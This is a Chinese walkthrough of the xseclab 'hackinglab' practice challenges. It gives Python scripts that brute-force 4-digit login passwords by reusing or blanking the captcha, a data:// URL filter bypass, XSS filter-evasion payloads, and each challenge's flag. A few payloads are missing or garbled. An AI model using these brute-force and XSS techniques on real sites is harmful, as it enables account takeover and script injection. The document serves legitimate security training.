网络安全实验室脚本关详细教学文档
1. Key又找不到了
目标URL: http://lab1.xseclab.com/xss1_30ac8668cd453e7e387c76b132b140bb/index.php
解题步骤:
- 使用Burp Suite抓取点击链接的请求包
- 将请求发送到重放模块(Repeater)
- 点击"Go"按钮发送请求
- 在响应中查找key
关键点:
- 使用Burp Suite的抓包和重放功能
- 无需修改任何参数,直接重放请求即可获取key
结果: yougotit_script_now
2. 快速口算
目标URL: http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php
解题步骤:
- 分析页面中的数学表达式
- 编写Python脚本自动计算并提交结果
Python脚本:
import requests, re
url = 'http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php'
s = requests.session()
c = s.get(url).content
c = c.decode('utf-8') # python3一定要加上这一句
r = re.findall(r'[\d]{2,}', c)
r = int(r[0])*int(r[1]) + int(r[2])*(int(r[3])+int(r[4]))
c1 = s.post(url, data={'v': r}).content
print(c1.decode('utf-8'))
关键点:
- 使用正则表达式提取数字
- 保持会话(session)以维持状态
- 计算结果并自动提交
结果: 123iohHKHJ%^&*(jkh
3. 这个题目是空的
解题步骤:
- 尝试各种常见空值表示方法
- 发现响应为null
关键点:
- 尝试null、NULL、None、""等空值表示
结果: null
4. 怎么就是不弹出key呢?
目标URL: http://lab1.xseclab.com/xss3_5dcdde90bbe55087eb3514405972b1a6/index.php
解题步骤:
- 审查元素发现大量混淆的JavaScript代码
- 提取关键函数并修改
- 创建本地HTML文件执行
解决方案代码:
<script>
var a = function () {
// 此处为大量混淆代码...
var d = eval(b);
alert('key is first 14 chars' + '\n'+d.substr(0,14));
}()
</script>
关键点:
- 分析混淆的JavaScript代码
- 提取关键函数并修改输出
- 本地执行获取前14个字符
结果: slakfjteslkjsd
5. 逗比验证码第一期
目标URL: http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/index.php
解题方法1 - Python脚本:
import requests
import re
s = requests.Session()
url = "http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php"
head = {'cookie': 'PHPSESSID=21949ea3cea7b84b9bf57f8d4b449a63'}
for num in range(1000, 10000):
data = {'username': 'admin', 'pwd': num, 'vcode': '99QZ', 'submit': 'submit'}
res = s.post(url, data=data, headers=head).content.decode('utf-8')
if u'pwd error' in res:
print('正在尝试', num, '-----密码错误!')
if u'vcode error' in res:
print('验证码错误,请重新查看并输入正确验证码!')
if u'error' not in res:
print(num, '正确')
print(res)
break
解题方法2 - Burp爆破:
- 抓取登录请求
- 发送到Intruder模块
- 设置pwd参数为爆破点
- 使用数字字典(1000-9999)进行爆破
关键点:
- 验证码可以重复使用
- 需要保持会话和cookie
- 密码为4位数字
结果: 密码1238, key LJLJL789sdf#@sd
6. 逗比验证码第二期
目标URL: http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/index.php
解题技巧:
- 将验证码参数设置为空即可绕过验证码检查
Python脚本:
import requests
import re
s = requests.Session()
url = "http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/login.php"
head = {'cookie': 'PHPSESSID=844e5142519e671ce9180b9a47588675'}
for num in range(1000, 10000):
data = {'username': 'admin', 'pwd': num, 'vcode': '', 'submit': 'submit'}
res = s.post(url, data=data, headers=head).content.decode('utf-8')
if u'pwd error' in res:
print('正在尝试', num, '-----密码错误!')
if u'vcode error' in res:
print('验证码错误,请重新查看并输入正确验证码!')
if u'error' not in res:
print(num, '正确')
print(res)
break
关键点:
- 验证码参数留空即可绕过
- 其他步骤与第一期相同
结果: 密码1228, key LJLJL789ss33fasvxcvsdf#@sd
7. 逗比的验证码第三期(SESSION)
目标URL: http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/index.php
Python解决方案:
import requests
s = requests.Session()
url = "http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/login.php"
head = {'session': 'PHPSESSID=d369965b1284d87405231a4a5763cddc'}
for num in range(1000, 10000):
data = {'username': 'admin', 'pwd': num, 'vcode': '', 'submit': 'submit'}
res = s.post(url, data=data, headers=head).content.decode('utf-8')
if u'pwd error' in res:
print('正在尝试', num, '------密码错误!')
if u'vcode error' in res:
print('验证码错误!')
break
if u'error' not in res:
print(num, '----密码破解成功!')
print(res)
break
关键点:
- 必须保持会话(session)
- 验证码参数留空
- 密码为4位数字
结果: 密码1298, key LJLJLfuckvcodesdf#@sd
8. 微笑一下就能过关了
目标URL: http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php
解题条件分析:
- 必须对"^_^"赋值
- 值不能包含: . % [0-9] http https ftp telnet
- QUERY_STRING不能包含_
- $smile!=0
- file_exists($GET['^^'])必须为false
- $smile必须等于"('◡◡')"
解决方案:
- 使用URL编码将_替换为%5f
- 使用data协议传递内容
Payload:
http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php?^%5f^=data:,('◡◡')
关键点:
- URL编码绕过_限制
- data协议绕过文件存在检查
- 直接传递所需字符串
结果: hkjasfhsa*&IUHKUH
9. 逗比的手机验证码
目标URL: http://lab1.xseclab.com/vcode5_mobi_5773f3def9f77f439e058894cefc42a8/
解题步骤:
- 获取验证码并记录(如5141)
- 返回重新获取验证码
- 使用新手机号登录
- 使用之前记录的验证码
关键点:
- 验证码与手机号绑定不严格
- 可以重复使用之前获取的验证码
结果: LJLJLGod!@@sd
10. 基情燃烧的岁月
目标URL: http://lab1.xseclab.com/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/
解题步骤:
- 使用Burp Suite爆破三位数密码(首位不为0)
- 获取前任手机号: 13399999999
- 使用该手机号再次爆破获取flag
关键点:
- 密码为三位数且首位不为0
- 需要分两步进行爆破
结果: {LKK8*(!@@sd}
11. 验证码识别
目标URL: http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/index.php
使用PKAV工具步骤:
- 使用Burp抓包并复制到PKAV请求包模块
- 设置重放选项
- 配置验证码识别
- 按响应长度排序结果
关键点:
- 使用专业工具自动化识别验证码
- 按长度排序可快速找到正确结果
结果: flag{133dbc85dda4aa**)}
12. XSS基础关
目标URL: http://lab1.xseclab.com/realxss1_f123c17dd9c363334670101779193998/index.php
Payload:
<script>alert(HackingLab)</script>
关键点:
- 直接注入script标签
- 无需特殊绕过
结果: myxssteststart!
13. XSS基础2:简单绕过
目标URL: http://lab1.xseclab.com/realxss2_bcedaba7e8618cdfb51178765060fc7d/index.php
Payload:
关键点:
- 使用img标签的onerror事件
- 绕过script标签过滤
结果: xss2test2you
14. XSS基础3:检测与构造
目标URL: http://lab1.xseclab.com/realxss3_9b28b0ff93d0b0099f5ac7f8bad3f368/index.php
Payload:
alert' onmouseover=alert(HackingLab)>
关键点:
- 利用输入内容写入value属性的特性
- 使用onmouseover事件触发
- 闭合前一个属性并添加新事件
结果: xss3test2youOK_striptag
15. Principle很重要的XSS
目标URL: http://lab1.xseclab.com/realxss4_9bc1559999a87a9e0968ad1d546dfe33/index.php
Payload 1:
javasc<c>ript:al<c>ert(HackingLab)
Payload 2:
' onmouseover=al<c>ert(HackingLab)>
关键点:
- 使用
标签插入绕过关键字过滤 - 或者利用空格特性构造事件处理器
- 需要分析过滤逻辑顺序
结果: xss4isnoteasy